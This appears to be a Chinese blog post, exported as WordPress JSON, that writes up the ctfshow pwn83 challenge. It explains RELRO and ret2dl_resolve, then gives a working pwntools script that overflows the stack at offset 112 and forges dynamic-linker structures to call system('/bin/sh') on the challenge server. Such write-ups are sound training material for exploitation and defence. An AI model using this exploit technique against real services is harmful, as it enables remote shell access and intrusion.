{"id":171,"date":"2025-07-23T14:55:57","date_gmt":"2025-07-23T06:55:57","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=171"},"modified":"2025-07-23T14:55:59","modified_gmt":"2025-07-23T06:55:59","slug":"ctfshowpwn83","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/23\/ctfshowpwn83\/","title":{"rendered":"ctfshow:pwn83"},"content":{"rendered":"\n
\"\"<\/div><\/figure>\n\n\n\n

1\u3001\u9898\u76ee\u5206\u6790<\/h2>\n\n\n\n

checksec:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

32\u4f4dNX,\u4f46\u662f\u91cd\u70b9\u5e94\u8be5\u5728Partial RELRO<\/p>\n\n\n\n

\u5148\u6765\u770b\u770b\u77e5\u8bc6\u70b9\u5427\uff0c\u6709\u70b9\u5fd8\u4e86<\/p>\n\n\n\n

RELRO\uff08ReLocation Read-Only\uff09\u662f\u4e00\u79cd\u5185\u5b58\u4fdd\u62a4\u6280\u672f\uff0c\u7528\u4e8e\u52a0\u5f3a\u5bf9\u4e8c\u8fdb\u5236\u6570\u636e\u6bb5\u7684\u4fdd\u62a4\u3002\u5b83\u4e3b\u8981\u901a\u8fc7\u4e24\u79cd\u6a21\u5f0f\u6765\u5b9e\u73b0\uff1apartial RELRO\u548cfull RELRO\u3002\u8fd9\u4e9b\u6280\u672f\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u9632\u6b62\u653b\u51fb\u8005\u901a\u8fc7\u7be1\u6539\u5730\u5740\u6765\u52ab\u6301\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u7a0b\u3002<\/p>\n\n\n\n

partial RELRO\u4e0efull RELRO<\/p>\n\n\n\n

partial RELRO\uff1a\u5728\u8fd9\u79cd\u6a21\u5f0f\u4e0b\uff0c\u67d0\u4e9b\u6bb5\uff08\u5982.dynamic\u548c.got\uff09\u5728\u521d\u59cb\u5316\u540e\u4f1a\u88ab\u6807\u8bb0\u4e3a\u53ea\u8bfb\u3002\u8fd9\u610f\u5473\u7740\u5168\u5c40\u504f\u79fb\u8868\uff08GOT\uff09\u662f\u4e0d\u53ef\u5199\u7684\uff0c\u4ece\u800c\u63d0\u9ad8\u4e86\u5b89\u5168\u6027\u3002\u5728\u67d0\u4e9b\u7cfb\u7edf\u4e0a\uff0c\u5982Ubuntu 16.04\uff08GCC-5.4.0\uff09\uff0c\u9ed8\u8ba4\u5f00\u542f\u7684\u662fPartial RELRO<\/p>\n\n\n\n

full RELRO\uff1a\u8fd9\u79cd\u6a21\u5f0f\u6bd4partial RELRO\u66f4\u4e25\u683c\u3002\u9664\u4e86partial RELRO\u7684\u7279\u6027\u5916\uff0c\u5b83\u8fd8\u7981\u6b62\u4e86\u5ef6\u8fdf\u7ed1\u5b9a\uff0c\u6240\u6709\u7684\u5bfc\u5165\u7b26\u53f7\u5728\u7a0b\u5e8f\u542f\u52a8\u65f6\u5c31\u4f1a\u88ab\u89e3\u6790\u3002.got.plt\u6bb5\u4f1a\u88ab\u5b8c\u5168\u521d\u59cb\u5316\u4e3a\u76ee\u6807\u51fd\u6570\u7684\u6700\u7ec8\u5730\u5740\uff0c\u5e76\u88ab\u6807\u8bb0\u4e3a\u53ea\u8bfb\u3002\u5728full RELRO\u6a21\u5f0f\u4e0b\uff0clink_map\u548c_dl_runtime_resolve\u7684\u5730\u5740\u4e5f\u4e0d\u4f1a\u88ab\u88c5\u5165\u3002\u5f00\u542ffull RELRO\u53ef\u80fd\u4f1a\u5bf9\u7a0b\u5e8f\u542f\u52a8\u65f6\u7684\u6027\u80fd\u9020\u6210\u5f71\u54cd\uff0c\u4f46\u5b83\u80fd\u6709\u6548\u9632\u6b62GOT\u88ab\u7be1\u6539<\/p>\n\n\n\n

\u73b0\u5728\u6211\u4eec\u7684got\u8868\u4e0d\u53ef\u7be1\u6539<\/p>\n\n\n\n

ret2libc\u4e0d\u884c,\u8fd8\u662f\u5148\u770b\u770b\u5176\u4ed6\u505a\u6cd5\u5427<\/p>\n\n\n\n

main\u51fd\u6570\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


show\u51fd\u6570\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6709\u6808\u6ea2\u51fa\uff0c\u6211\u4eec\u8c03\u8bd5\u4e00\u4e0b\u5927\u5c0f\u5427\uff0c\u6015ida\u4e0d\u51c6<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u504f\u79fb\u91cf\u662f112\uff0c\u5e94\u8be5\u6ca1\u6709\u95ee\u9898\u3002\u7136\u540e\u5c31\u662f\u8fd0\u7528pwntools\u89e3\u9898\uff0c<\/p>\n\n\n\n

\u770b\u770b\u77e5\u8bc6\uff1a<\/p>\n\n\n\n

ret2dl_resolve\u662flinux\u4e0b\u4e00\u79cd\u5229\u7528linux\u7cfb\u7edf\u5ef6\u65f6\u7ed1\u5b9a (Lazy Binding)\u673a\u5236\u7684\u4e00\u79cd\u6f0f\u6d1e\u5229\u7528\u65b9\u6cd5\uff0c\u5176\u4e3b\u8981\u601d\u60f3\u662f\u5229\u7528_dl_runtime_resolve ()\u51fd\u6570\u5199GOT\u8868\u7684\u64cd\u4f5c\uff0c\u6539\u5199\u5199\u5165GOT\u7684\u5185\u5bb9\uff0c\u4f7f\u5176\u6210\u4e3agetshell\u7684\u51fd\u6570\u503c\u3002<\/p>\n\n\n\n

2\u3001\u8bd5\u4e00\u8bd5<\/h2>\n\n\n\n

\u8fd9\u91cc\u7528\u5230pwntools\u7684ret2dl_resolve\u7c7b<\/p>\n\n\n\n

\u5199payload\u6709\u4e00\u70b9\u590d\u6742\uff0c\u6240\u4ee5\u60f3\u7528flat\u6765\u7b80\u5316<\/p>\n\n\n\n

\u9700\u8981\u7528\u5230rop\u94fe\uff0c\u7167\u7740ctfshow\u7684\u5b98\u65b9wp\u5199\u7684<\/p>\n\n\n\n

from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"pwn.challenge.ctf.show\",28182)\nelf=ELF(\".\/pwn3\")\nrop=ROP(\".\/pwn3\")\ndlresolve = Ret2dlresolvePayload(elf,symbol=\"system\",args=[\"\/bin\/sh\"])\nrop.read(0,dlresolve.data_addr)\nrop.ret2dlresolve(dlresolve)\nraw_rop=rop.chain()\np.recvuntil(\"Welcome to CTFshowPWN!\\n\")\npayload=flat({112:raw_rop,0x100:dlresolve.payload})\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n

\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2apayload\u6bd4\u8f83\u7591\u60d1\u7684\u5730\u65b9<\/p>\n\n\n\n
dlresolve = Ret2dlresolvePayload(elf, symbol=\"system\", args=[\"\/bin\/sh\"])<\/code><\/pre>\n\n\n\n
\u6784\u9020\u4e00\u4e2a\u4f2a\u9020\u7684 system(“\/bin\/sh”) \u8c03\u7528\u3002<\/p>\n\n\n\n
Ret2dlresolvePayload \u4f1a\u81ea\u52a8\u5e2e\u4f60\u751f\u6210\u4f2a\u9020\u7684 .rel.plt, .dynsym, .dynstr \u7b49\u7ed3\u6784\uff0c\u7ed5\u8fc7 GOT \u89e3\u6790\u673a\u5236\u3002<\/p>\n\n\n\n
rop.read(0, dlresolve.data_addr)<\/code><\/pre>\n\n\n\n

\u6784\u9020 ret2dlresolve \u7684\u8c03\u7528\u94fe\uff0c\u89e6\u53d1 _dl_runtime_resolve\uff0c\u4ece\u800c\u8c03\u7528 system(“\/bin\/sh”)<\/p>\n\n\n\n
raw_rop = rop.chain()<\/code><\/pre>\n\n\n\n

\u628a ROP \u94fe\u8f6c\u6210\u5b57\u8282\u6d41\u3002<\/p>\n\n\n\n
payload = flat({112:raw_rop, 0x100:dlresolve.payload})<\/code><\/pre>\n\n\n\n
\u504f\u79fb 112 \u5b57\u8282\u5904\u653e ROP \u94fe\uff08\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff09\u3002<\/p>\n\n\n\n
\u504f\u79fb 0x100(256) \u5b57\u8282\u5904\u653e\u4f2a\u9020\u7684 dlresolve.payload\uff08\u4f2a\u9020\u7ed3\u6784\u4f53\uff09\u3002<\/p>\n\n\n\n
256 \u53ea\u662f\u4e00\u4e2a\u4eba\u4e3a\u9009\u5b9a\u7684\u3001\u8db3\u591f\u5927\u7684\u504f\u79fb\u91cf\uff0c\u7528\u6765\u628a\u4f2a\u9020\u7ed3\u6784\u4f53\u653e\u5230\u4e0d\u4f1a\u548c ROP \u94fe\u51b2\u7a81\u3001\u53c8\u80fd\u88ab read \u4e00\u6b21\u6027\u5199\u8fdb\u53bb\u7684\u7f13\u51b2\u533a\u4f4d\u7f6e\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

ok,\u6280\u80fd\u52a01<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001\u9898\u76ee\u5206\u6790 checksec: 32\u4f4dNX,\u4f46\u662f\u91cd\u70b9\u5e94\u8be5\u5728Partial RELRO \u5148\u6765\u770b\u770b\u77e5\u8bc6\u70b9\u5427\uff0c\u6709\u70b9 […]<\/p>\n","protected":false},"author":1,"featured_media":179,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-171","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=171"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/171\/revisions"}],"predecessor-version":[{"id":180,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/171\/revisions\/180"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/179"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=171"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}